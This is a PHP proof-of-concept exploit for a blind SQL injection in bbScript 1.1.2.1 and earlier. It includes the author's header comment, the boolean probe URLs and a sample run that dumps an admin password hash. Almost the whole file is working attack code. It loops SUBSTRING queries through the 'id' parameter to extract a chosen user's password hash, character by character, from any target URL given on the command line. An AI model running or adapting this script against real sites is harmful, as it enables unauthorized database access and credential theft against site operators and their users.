<?php
/*
bbScript <= 1.1.2.1 (id) Blind SQL Injection Exploit
Bug found && exploited by cOndemned
Greetz: All friends, TWT, SecurityReason Team, Scruell ;*
Download: http://www.bbscript.com/download.php
Note: You have to be logged into in order to download this script
/[bbScript_path]/index.php?action=showtopic&id=1+and+1=1-- TRUE (normal)
/[bbScript_path]/index.php?action=showtopic&id=1+and+1=2-- FALSE (error)
example:
condemned@agonia:~$ php bbscript-poc.php http://localhost/audits/bbScript admin
[~] bbScript <= 1.1.2.1 (id) Blind SQL Injection Exploit
[~] Bug found && exploited by cOndemned
[~] Target username set to admin
[~] Password Hash : 596a96cc7bf9108cd896f33c44aedc8a
[~] Done
*/
function concat($string)
{
$length = strlen($string);
$output = '';
for($i = 0; $i < $length; $i++) $output .= sprintf("CHAR(%d),", ord($string[$i]));
return 'CONCAT(' . substr($output, 0, -1) . ')';
}
echo "\n[~] bbScript <= 1.1.2.1 (id) Blind SQL Injection Exploit";
echo "\n[~] Bug found && exploited by cOndemned\n";
if($argc != 3)
{
printf("[!] Usage: php %s <target> <login>\n\n", $argv[0]);
exit;
}
list(, $target, $login) = $argv;
echo "[~] Target username set to $login\n";
$login = concat($login);
$chars = array_merge((array)$chars, range(48, 57), range(97, 102));
$pos = 1;
echo "[~] Password Hash : ";
while($pos != 33)
{
for($i = 0; $i <= 16; $i++)
{
$query = "/index.php?action=showtopic&id=1+AND+SUBSTRING((SELECT+password+FROM+users+WHERE+username=$login),$pos,1)=CHAR({$chars[$i]})--";
if(!preg_match('#Error#', file_get_contents($target . $query), $resp))
{
printf("%s", chr($chars[$i]));
$pos++;
break;
}
}
}
echo "\n[~] Done\n\n";
?>